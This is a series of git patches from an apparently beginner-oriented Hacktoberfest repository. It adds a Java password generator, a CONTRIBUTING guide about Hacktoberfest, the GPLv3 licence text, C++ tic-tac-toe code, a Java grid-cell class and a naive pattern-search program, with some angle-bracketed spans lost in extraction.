your password as I have choose + // here to be 8 + int length = 10; + System.out.println(geek_Password(length)); + } + + // This our Password generating method + // We have use static here, so that we not to + // make any object for it + static char[] geek_Password(int len) + { + System.out.println("Generating password using random() : "); + System.out.print("Your new password is : "); + + // A strong password has Cap_chars, Lower_chars, + // numeric value and symbols. So we are using all of + // them to generate our password + String Capital_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + String Small_chars = "abcdefghijklmnopqrstuvwxyz"; + String numbers = "0123456789"; + String symbols = "!@#$%^&*_=+-/.?<>)"; + + + String values = Capital_chars + Small_chars + + numbers + symbols; + + // Using random method + Random rndm_method = new Random(); + + char[] password = new char[len]; + + for (int i = 0; i < len; i++) + { + // Use of charAt() method : to get character value + // Use of nextInt() as it is scanning the value as int + password[i] = + values.charAt(rndm_method.nextInt(values.length())); + + } + return password; + } +} From 1baabe5ec2d3be477053aa4600bede92cb9a71f8 Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:26:59 +0530 Subject: [PATCH 12/27] Create CONTRIBUTING.md --- CONTRIBUTING.md | 52 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 CONTRIBUTING.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7d1a5c2 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,52 @@ +### Hacktoberfest is an annual event that occurs in October. It is created by DigitalOcean. Thousands of developers participate in this event across the globe. + +This article explains what Hacktoberfest is, how you can participate, and more! + +What is Hacktoberfest? +As mentioned in the introduction, Hacktoberfest occurs every year during October. It encourages developers to contribute to open source projects and practice programming by participating in solving problems across projects. + +Who Can Participate in Hacktoberfest? +All developers of different levels and backgrounds can participate in Hacktoberfest. Whether you're a beginner or an expert, or a junior or a senior, you can participate in Hacktoberfest. + +There are two ways to participate in Hacktoberfest: as a contributor or as a maintainer. + +A contributor is someone that helps open source projects resolve issues they have opened. Whereas a maintainer manages an open source project and presents issues that they need help with. + +New in Hacktoberfest 2022 +Hacktoberfest 2022 encourages low-code and non-code contributions, which can be done through blog posts, translating content, graphic design, and more. The contributions must be tracked through GitHub Pull Requests (PRs) as other types of contributions. + +How to Participate in Hacktoberfest 2022? +Registration to Hacktoberfest +Registration to Hacktoberfest opens on September 26th. When you register, you'll be able to choose whether you're participating as a contributor or as a maintainer. + +Participating as a Contributor +As a contributor, during October you must have four PRs that either: + +Are merged into a participating repository; +Or have the hacktoberfest-accepted label; +Or have an approving review, but not closed or draft. +A participating repository is a repository that has the hacktoberfest topic. Participation can be done through GitHub or GitLab. + +Participating as a Maintainer +To participate as a maintainer, you must facilitate participation for contributors. The first step is to either: + +Add the hacktoberfest topic to your repository; +Or add the hacktoberfest-accepted label into your repository to be used on pull requests. +Then, you must merge four PRs into your repository during October. If you decide to use the second option mentioned in the first step, make sure to add the hacktoberfest-accepted label into these PRs. + +Rules +For PRs to be counted into your participation in Hacktoberfest, they must be merged between October 1st and October 31st. +Contributions must be made to public repositories. +If a PR has a label that contains the word spam in it, the PR will not be counted. Also, if a participant has 2 or more spam PRs, they'll be disqualified from Hacktoberfest. +If a PR has a label that contains the word invalid, it will not be counted. The exception for this is if the PR also has the label hacktoberfest-accepted. +Unwritten Rules +This section covers rules that aren't necessarily covered by Hacktoberfest, but, from personal experience, are highly recommended to follow for both contributors and maintainers. + +For Contributors +Do not spam any maintainer: Hacktoberfest is a busy season for maintainers, so they'll highly likely take time to take a look at your PR. Spamming maintainers does not speed up the process and only ruins the experience for maintainers. +Make valuable contributions: During Hacktoberfest, many repositories are created with the purpose of participating in Hacktoberfest but without providing any value. For example, repositories where you just contribute by adding your name to a list. A lot of these repositories are caught by Hacktoberfest eventually, are disqualified, and contributions from them are labeled as invalid. There's no point in wasting time on this. +Give back to your favorite projects: There are many projects out there that you have benefitted from throughout the year. Take this time to give back to these projects by helping them with the issues they have. +Follow rules set by each project: Projects should have contributing guidelines that explain how you can contribute to them. Make sure you read those first before you contribute. +For Maintainers +Create contributing guidelines: Whether you have a small or big project, contributing guidelines make it easier for your contributors to know how they can contribute to your project. +Welcome all developers: Many beginner developers participate in Hacktoberfest. They may lack experience when it comes to contributing, but they're eager to do it. Make sure to be welcoming to all developers of different experiences. If possible, try creating issues of different levels of expertise. From 2b3712a66a09db70ea2c1ff6aed5b4c6c8df3e8a Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:37:28 +0530 Subject: [PATCH 13/27] Create LICENSE.md --- LICENSE.md | 674 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 LICENSE.md diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. From 876b655ade2a47afd853e045ecf2a3782edee996 Mon Sep 17 00:00:00 2001 From: Ashu <114346202+Ghostx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:47:00 +0530 Subject: [PATCH 14/27] Create Tic-Tac-Toe game in C++ --- Tic-Tac-Toe game in C++ | 210 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 Tic-Tac-Toe game in C++ diff --git a/Tic-Tac-Toe game in C++ b/Tic-Tac-Toe game in C++ new file mode 100644 index 0000000..06310ea --- /dev/null +++ b/Tic-Tac-Toe game in C++ @@ -0,0 +1,210 @@ +// A C++ Program to play tic-tac-toe + +#include +using namespace std; + +#define COMPUTER 1 +#define HUMAN 2 + +#define SIDE 3 // Length of the board + +// Computer will move with 'O' +// and human with 'X' +#define COMPUTERMOVE 'O' +#define HUMANMOVE 'X' + +// A function to show the current board status +void showBoard(char board[][SIDE]) +{ + printf("\n\n"); + + printf("\t\t\t %c | %c | %c \n", board[0][0], + board[0][1], board[0][2]); + printf("\t\t\t--------------\n"); + printf("\t\t\t %c | %c | %c \n", board[1][0], + board[1][1], board[1][2]); + printf("\t\t\t--------------\n"); + printf("\t\t\t %c | %c | %c \n\n", board[2][0], + board[2][1], board[2][2]); + + return; +} + +// A function to show the instructions +void showInstructions() +{ + printf("\t\t\t Tic-Tac-Toe\n\n"); + printf("Choose a cell numbered from 1 to 9 as below" + " and play\n\n"); + + printf("\t\t\t 1 | 2 | 3 \n"); + printf("\t\t\t--------------\n"); + printf("\t\t\t 4 | 5 | 6 \n"); + printf("\t\t\t--------------\n"); + printf("\t\t\t 7 | 8 | 9 \n\n"); + + printf("-\t-\t-\t-\t-\t-\t-\t-\t-\t-\n\n"); + + return; +} + + +// A function to initialise the game +void initialise(char board[][SIDE], int moves[]) +{ + // Initiate the random number generator so that + // the same configuration doesn't arises + srand(time(NULL)); + + // Initially the board is empty + for (int i=0; i Date: Sat, 1 Oct 2022 07:48:52 +0530 Subject: [PATCH 15/27] Create Snake Game in Java --- Snake Game in Java | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 Snake Game in Java diff --git a/Snake Game in Java b/Snake Game in Java new file mode 100644 index 0000000..938ed92 --- /dev/null +++ b/Snake Game in Java @@ -0,0 +1,32 @@ +// To represent a cell of display board. +public class Cell { + + private final int row, col; + private CellType cellType; + + public Cell(int row, int col) + { + this.row = row; + this.col = col; + } + + public CellType getCellType() + { + return cellType; + } + + public void setCellType(CellType cellType) + { + this.cellType = cellType; + } + + public int getRow() + { + return row; + } + + public int getCol() + { + return col; + } +} From 4a7e019aee3d118d2746adc105bf1b317c375a81 Mon Sep 17 00:00:00 2001 From: Ashu <114346202+Ghostx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:50:48 +0530 Subject: [PATCH 16/27] Create Naive algorithm for Pattern Searching in Java --- Naive algorithm for Pattern Searching in Java | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 Naive algorithm for Pattern Searching in Java diff --git a/Naive algorithm for Pattern Searching in Java b/Naive algorithm for Pattern Searching in Java new file mode 100644 index 0000000..d927929 --- /dev/null +++ b/Naive algorithm for Pattern Searching in Java @@ -0,0 +1,32 @@ +// Java program for Naive Pattern Searching + +public class NaiveSearch { + + static void search(String pat, String txt) + { + int l1 = pat.length(); + int l2 = txt.length(); + int i = 0, j = l2 - 1; + + for (i = 0, j = l2 - 1; j < l1;) { + + if (txt.equals(pat.substring(i, j + 1))) { + System.out.println("Pattern found at index " + + i); + } + i++; + j++; + } + } + + // Driver's code + public static void main(String args[]) + { + String pat = "AABAACAADAABAAABAA"; + String txt = "AABA"; + + // Function call + search(pat, txt); + } +} +// This 